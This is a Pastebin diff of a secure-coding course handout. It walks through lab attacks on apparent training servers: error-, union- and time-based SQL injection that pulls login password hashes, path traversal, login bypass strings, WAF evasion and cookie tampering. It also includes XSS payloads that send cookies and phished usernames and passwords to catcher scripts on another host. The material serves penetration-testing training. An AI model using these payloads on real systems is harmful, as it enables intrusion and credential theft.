View difference between Paste ID: P75xF3ib and h9YzKEmw
SHOW: | | - or go back to the newest paste.
1-
#################################
1+
##################################
2-
# Secure Coding For InterSwitch #
2+
# Secure Coding For Cascade Card #
3-
#################################
3+
##################################
4
5
6
-------------------------------------------------------------------------------------------------------------------------------
7
Slides to look at today:
8
http://www.slideshare.net/SeniorStoryteller/lisa-conference-2014-devops-and-appsec-who-is-responsible
9
http://www.slideshare.net/katyanton/owasp-toptenmapping201505lwc
10
11
12
Recommended Videos to watch:
13
https://vimeo.com/128563138
14
https://vimeo.com/135747362
15
16
Slides for the videos:
17
http://www.slideshare.net/gmaran23/beefing-up-security-in-aspnet-dot-net-bangalore
18
http://www.slideshare.net/gmaran23/beefing-upsecurityinasp-netdotnetblraug082015
19
20
21
Install the following Firefox Addons:
22
 
23
- ShowIP            	https://addons.mozilla.org/en-US/firefox/addon/showip/
24
- Server Spy            https://addons.mozilla.org/en-US/firefox/addon/server-spy/
25
- FoxyProxy         	https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
26
- Tamper Data           https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
27
- Wapalyzer         	https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/
28
- Firebug				https://addons.mozilla.org/en-US/firefox/addon/firebug/
29
30
31
#########################################
32
# Day 1: Basic: Web Application Testing #
33
#########################################
34
35
Most people are going to tell you reference the OWASP Testing guide.
36
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
37
38
I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
39
40
41
The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
42
	
43
	1. Does the website talk to a DB?
44
		- Look for parameter passing (ex: site.com/page.php?id=4)
45
		- If yes - try SQL Injection
46
47
	2. Can I or someone else see what I type?
48
		- If yes - try XSS
49
50
	3. Does the page reference a file?
51
		- If yes - try LFI/RFI
52
53
Let's start with some manual testing against 54.149.82.150
54
55
56
Start here:
57
http://54.149.82.150/
58
59
60
There's no parameter passing on the home page so the answer to question 1 is NO.
61
There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
62
63
Try an XSS in the search box on the home page:
64
<script>alert(123);</script>
65
66
Doing this gives us the following in the address bar:
67
http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script>
68
69
Ok, so we've verified that there is XSS in the search box. 
70
71
Let's move on to the search box in the left of the page.
72
73
Let's give the newsletter signup box a shot
74
75
Moving on to the login page.
76
http://54.149.82.150/login.aspx
77
78
I entered a single quote (') for both the user name and the password. I got the following error:
79
80
-----------------------------------------------------------------
81
 'Users//User[@Name=''' and @Password=''']' has an invalid token.
82
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
83
84
Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
85
86
Source Error:
87
88
89
Line 112:            doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
90
Line 113:            string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
91
Line 114:            XmlNodeList xmln = doc.SelectNodes(credential);
92
Line 115:            //String test = xmln.ToString();            
93
Line 116:            if (xmln.Count > 0)
94
95
-----------------------------------------------------------------
96
97
98
Hmm....System.Xml.XPath.XPathException.....that's not SQL.
99
100
WTF is this:
101
Line 112:            doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
102
103
104
105
106
In this case you'll have the trap the request with a proxy like:
107
- Firefox Tamper Data
108
- Burp Suite				http://www.portswigger.net/Burp/proxy.html
109
- WebScarab				https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
110
- Rat Proxy				https://code.google.com/p/ratproxy/
111
- Zap Proxy				https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
112
- Paros					http://sourceforge.net/projects/paros/
113
114
115
116
Let's go back to that page error message.....
117
118
119
Let's check it out:
120
http://54.149.82.150/AuthInfo.xml
121
122
Looks like we found passwords!!!!!!!!!!
123
124
125
Looks like there no significant new functionality after logging in with the stolen credentials.
126
127
Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
128
129
130
http://54.149.82.150/bookdetail.aspx?id=2
131
132
133
Ok, there is parameter passing (bookdetail.aspx?id=2).
134
135
The page name is:		bookdetail.aspx
136
The parameter name is:		id
137
The paramber value is:		2
138
139
140
Let's try throwing a single quote (') in there:
141
142
http://54.149.82.150/bookdetail.aspx?id=2'
143
144
145
I get the following error:
146
147
Unclosed quotation mark after the character string ''.
148
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
149
150
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
151
152
153
154
155
156
157
158
159
160
161
#############################################################################
162
# SQL Injection                                                             #
163
# https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx #
164
#############################################################################
165
166
167
- Another quick way to test for SQLI is to remove the paramter value
168
169
 
170
#############################
171
# Error-Based SQL Injection #
172
#############################
173
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
174
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
175
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
176
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
177
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
178
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- 	NOTE: "N" - just means to keep going until you run out of databases
179
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
180
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
181
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
182
183
184
185
186
#############################
187
# Union-Based SQL Injection #
188
#############################
189
http://54.149.82.150/bookdetail.aspx?id=2 order by 100--
190
http://54.149.82.150/bookdetail.aspx?id=2 order by 50--
191
http://54.149.82.150/bookdetail.aspx?id=2 order by 25--
192
http://54.149.82.150/bookdetail.aspx?id=2 order by 10--
193
http://54.149.82.150/bookdetail.aspx?id=2 order by 5--
194
http://54.149.82.150/bookdetail.aspx?id=2 order by 6--
195
http://54.149.82.150/bookdetail.aspx?id=2 order by 7--
196
http://54.149.82.150/bookdetail.aspx?id=2 order by 8--
197
http://54.149.82.150/bookdetail.aspx?id=2 order by 9--
198
http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
199
200
	We are using a union select statement because we are joining the developer's query with one of our own.
201
	Reference: 
202
	http://www.techonthenet.com/sql/union.php
203
	The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements. 
204
	It removes duplicate rows between the various SELECT statements.
205
206
	Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
207
208
http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
209
210
	Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
211
212
http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
213
http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
214
http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
215
http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
216
217
218
219
220
221
###############################
222
# Blind SQL Injection Testing #
223
###############################
224
Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
225
  	 
226
3 - Total Characters
227
http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
228
http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
229
http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- 		(Ok, the username is 3 chars long - it waited 10 seconds)
230
231
Let's go for a quick check to see if it's DBO
232
http://54.149.82.150/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
233
234
Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
235
236
D  - 1st Character
237
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- 	
238
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
239
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
240
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- 	(Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
241
 
242
B - 2nd Character
243
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
244
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
245
 
246
O - 3rd Character
247
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
248
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
249
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
250
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
251
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
252
http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--  	Ok, good it waited for 10 seconds
253
254
255
256
257
258
259
260
261
262
263
###################################################################
264
# What is XSS                                                     #
265
# https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx #
266
###################################################################
267
268
OK - what is Cross Site Scripting (XSS)
269
270
1. Use Firefox to browse to the following location:
271
272
	http://54.186.248.116/xss_practice/
273
274
	A really simple search page that is vulnerable should come up. 
275
276
277
278
279
2. In the search box type:
280
	
281
	<script>alert('So this is XSS')</script>
282
283
284
	This should pop-up an alert window with your message in it proving XSS is in fact possible.
285
	Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
286
287
288
3. In the search box type:
289
	
290
	<script>alert(document.cookie)</script>
291
292
293
	This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
294
	Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
295
296
4. Now replace that alert script with:
297
298
	<script>document.location="http://54.186.248.116/xss_practice/cookie_catcher.php?c="+document.cookie</script> 
299
300
301
This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
302
303
304
5. Now view the stolen cookie at:
305
	http://54.186.248.116/xss_practice/cookie_stealer_logs.html
306
307
308
The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
309
310
311
312
313
314
315
############################
316
# A Better Way To Demo XSS #
317
############################
318
319
320
Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
321
322
323
Use Firefox to browse to the following location:
324
325
	http://54.186.248.116/xss_practice/
326
327
328
329
Paste this in the search box
330
----------------------------
331
332
333
Option 1
334
--------
335
336
<script>
337
password=prompt('Your session is expired. Please enter your password to continue',' '); 
338
document.write("<img src=\"http://54.186.248.116/xss_practice/passwordgrabber.php?password=" +password+"\">");
339
</script>
340
341
342
Now view the stolen cookie at:
343
	http://54.186.248.116/xss_practice/passwords.html
344
345
346
347
Option 2
348
--------
349
<script>
350
username=prompt('Please enter your username',' ');
351
password=prompt('Please enter your password',' ');
352
document.write("<img src=\"http://54.186.248.116/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
353
</script>
354
355
356
357
358
Now view the stolen cookie at:
359
http://54.186.248.116/xss_practice/username_password_logs.html
360
361
362
363
364
-------------------------------------------------------------------------------------------------------------------------------
365
ASP.NET/C#
366
Slides to look at today:
367
http://www.slideshare.net/gmaran23/beefing-up-security-in-aspnet-dot-net-bangalore
368
http://www.slideshare.net/gmaran23/beefing-upsecurityinasp-netdotnetblraug082015
369
https://www.owasp.org/images/c/c4/IOActive-OWASP-London-200907.pdf
370
http://www.slideshare.net/SharePointRadi/aspnet-web-security-48518474
371
372
373
###########################################
374
# Day 2: Advanced Web Application Testing #
375
###########################################
376
377
- Another way is to see if you can get the backend to perform an arithmetic function
378
http://54.149.82.150/bookdetail.aspx?id=(2)	
379
http://54.149.82.150/bookdetail.aspx?id=(4-2)	
380
http://54.149.82.150/bookdetail.aspx?id=(4-1)
381
382
383
384
http://54.149.82.150/bookdetail.aspx?id=2 or 1=1-- 
385
http://54.149.82.150/bookdetail.aspx?id=2 or 1=2-- 
386
http://54.149.82.150/bookdetail.aspx?id=1*1 
387
http://54.149.82.150/bookdetail.aspx?id=2 or 1 >-1# 
388
http://54.149.82.150/bookdetail.aspx?id=2 or 1<99# 
389
http://54.149.82.150/bookdetail.aspx?id=2 or 1<>1# 
390
http://54.149.82.150/bookdetail.aspx?id=2 or 2 != 3-- 
391
http://54.149.82.150/bookdetail.aspx?id=2 &0#
392
393
394
#########################################
395
# Let's kick it up a notch with ASP.NET #
396
# http://54.200.178.220/                #
397
#########################################
398
399
400
The trading Web App is on http://54.200.178.220/
401
402
403
Try the following in the search box:
404
	<script>alert(123);</script>
405
	' or 1=1
406
	' and a=a
407
	1=1
408
	Joe'+OR+1=1;--
409
410
411
	<script>alert(123);</script>
412
	
413
Open a new tab in firefox and try this:
414
	http://54.200.178.220/Searchresult.aspx?<script>alert(123);</script>=ScriptName
415
416
417
Try the contact us form.
418
Open a new tab in firefox and try this:
419
	http://54.200.178.220/OpenPage.aspx?filename=../../../../../../windows/win.ini
420
421
Try this on the inquiry form:
422
	Joe McCray
423
	1234567890
424
	joe@strategicsec.com') waitfor delay '00:00:10'--
425
426
427
Login Box:
428
429
	' or 1=1 or ''='
430
	anything   			(click login instead of pressing enter)
431
432
433
434
Tamper Data: (notice 2 session IDs)
435
436
	AcmeTrading=a4b796687b846dd4a34931d708c62b49; 		SessionID is md5
437
	IsAdmin=yes; 
438
	ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
439
440
441
442
Profile - Detail	(tamper data)
443
	Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
444
	joe|set
445
446
447
	xss_upload.txt (Upload Bulk Order)
448
	<script>alert(123);</script>
449
450
451
452
453
############################
454
# Trading Web App with WAF #
455
# http://54.213.131.105    #
456
############################
457
458
459
Try the following in the search box:
460
	<script>alert(123);</script>
461
	<script>alert(123);</script
462
	<script>alert(123)
463
	<script>alert
464
	<script>
465
	<script
466
	<scrip
467
	<scri
468
	<scr
469
	<sc
470
	<s
471
	<p
472
	<
473
	< s
474
	Joe'+OR+1=1;--
475
476
	
477
Open a new tab in firefox and try this:
478
	http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
479
480
481
	xss_upload.txt (Upload Bulk Order)
482
	<script>alert(123);</script>
483
484
485
Login Box:
486
487
	' or 1=1 or ''='
488
	anything
489
490
491
#########################
492
# Setting up Burp Suite #
493
#########################
494
Download latest free version of Burp at http://www.portswigger.net/burp/download.html 
495
Make sure that  burpsuite_free_v1.6.31.jar is set as executable (chmod +x burpsuite_free_v1.6.31.jar) and then run:
496
497
java -jar burpsuite_free_v1.6.31.jar
498
499
	- Click the "Proxy" tab
500
	- Click the "Options" sub tab
501
	- Click “Edit” in the “Proxy Listeners” section
502
	- In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only”
503
	- In the same pop up make sure that the bind port is 8080
504
	- In the same pop up select the “Certificate” tab
505
	- Ensure that burp is configured to "generate CA-signed per-host certificates"
506
507
Open Firefox
508
	- Click "Edit"
509
	- Click “Preferences"
510
	- Click the "Advanced" tab
511
	- Click the "Network" sub tab
512
	- Click the connection "settings" button
513
	- Click "manual proxy configuration"
514
		set it to 127.0.0.1 port 8080
515
		check "Use this proxy server for all protocols"
516
	- Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line
517
518
519
Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates.
520
521-
Close all dialogs and restart Firefox
521+
522
523
On the “This Connection is Untrusted” screen, click on “Add Exception”
524
Click "Get Certificate", then click "View".
525
526
In the “Details” tab, select the root certificate in the tree (PortSwigger CA).
527
528
Click "Export" and save the certificate as "BurpCert" on the Desktop.
529-
Java/Spring MVC
529+
530
Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog
531-
http://www.slideshare.net/JonasEliasFlesch/securing-java-web-applications
531+
532-
http://www.slideshare.net/mraible/java-web-application-security-with-java-ee-spring-security-and-apache-shiro-uberconf-2015
532+
533
Click “View Certificates”
534-
Mobile:
534+
535-
http://www.slideshare.net/denimgroup/building-a-mobile-security-program
535+
536
537
On the "Downloading Certificate" dialog, check the box "Trust this CA to identify web sites", and click "OK".
538
539
Close all dialogs and restart Firefox